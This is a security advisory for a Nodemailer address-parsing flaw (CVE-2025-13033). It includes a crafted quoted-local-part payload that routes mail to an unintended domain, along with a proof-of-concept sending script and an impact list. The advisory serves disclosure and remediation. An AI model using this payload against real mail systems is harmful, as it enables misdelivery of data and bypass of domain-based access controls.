GHSA-mm7p-fcc7-pg87

Dashboard / Vulnerabilities / GHSA-mm7p-fcc7-pg87

GHSA-mm7p-fcc7-pg87

Summary: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Details: The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target. Payload: `"[email protected] x"@internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer"); let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, }); let mailOptions = { from: '"Test Sender" <[email protected]>', to: "\"[email protected] x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", }; transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId); }); (async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */); if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; } console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ``` Running the script and seeing how this mail is parsed according to RFC ``` Parsed email: { address: '"[email protected] x"@internal.domain', local: '"[email protected] x"', domain: 'internal.domain' } ``` But the email is sent to `[email protected]` <img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" /> ### Impact: - Misdelivery / Data leakage: Email is sent to psres.net instead of test.com. - Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts. - Potential compliance issue: Violates RFC 5321/5322 parsing rules. - Domain based access control bypass in downstream applications using your library to send mails ### Recommendations - Fix parser to correctly treat quoted local-parts per RFC 5321/5322. - Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

References: https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87, https://nvd.nist.gov/vuln/detail/CVE-2025-13033, https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626, https://access.redhat.com/security/cve/CVE-2025-13033, https://bugzilla.redhat.com/show_bug.cgi?id=2402179, https://github.com/nodemailer/nodemailer